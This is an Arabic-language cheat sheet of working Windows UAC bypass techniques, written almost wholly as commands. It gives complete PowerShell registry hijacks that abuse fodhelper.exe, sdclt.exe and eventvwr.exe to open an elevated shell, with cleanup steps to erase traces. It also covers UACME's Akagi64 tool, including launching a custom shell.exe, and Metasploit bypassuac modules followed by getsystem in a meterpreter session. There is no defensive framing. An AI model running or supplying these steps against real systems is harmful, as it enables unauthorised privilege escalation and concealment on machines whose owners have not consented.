تجاوز User Account Control للحصول على Elevated Shell
# UAC = User Account Control — prompt قبل رفع الصلاحيات
# تحقق من مستوى UAC:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
# 0 = Never Notify
# 1 = UAC Elevated
# 2 = Notify without Secure Desktop
# 5 = Default
# تحقق integrity level:
whoami /groups | findstr "Label"
# Medium = standard user
# High = elevated
# System = SYSTEM
# يشتغل على Windows 10
# fodhelper.exe = auto-elevated, reads registry key نتحكم فيه
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value "cmd.exe" -Force
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
# cmd.exe يفتح elevated!
# بعدها — تنظيف:
Remove-Item -Path HKCU:\Software\Classes\ms-settings -Recurse -Force
New-Item -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value "cmd.exe" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name DelegateExecute -Value "" -Force
Start-Process "sdclt.exe"
# تنظيف:
Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse -Force
# يشتغل على Windows 7/10
New-Item -Path HKCU:\Software\Classes\mscfile\shell\open\command -Value "cmd.exe" -Force
Start-Process "eventvwr.exe"
# تنظيف:
Remove-Item -Path HKCU:\Software\Classes\mscfile -Recurse -Force
# https://github.com/hfiref0x/UACME
# 70+ طريقة bypass مختلفة
.\Akagi64.exe <method_number> cmd.exe
# أمثلة من Methods:
# 23 = eventvwr
# 33 = sdclt
# 41 = fodhelper
# 59 = schtasks
# 61 = WscActionUri
# مثال:
.\Akagi64.exe 41 C:\Windows\System32\cmd.exe
.\Akagi64.exe 41 "C:\temp\shell.exe"
# بعد ما تحصل على meterpreter (medium integrity)
msf> use exploit/windows/local/bypassuac_fodhelper
set SESSION <session_id>
run
# أو:
msf> use exploit/windows/local/bypassuac_eventvwr
# تحقق بعد:
getuid
getsystem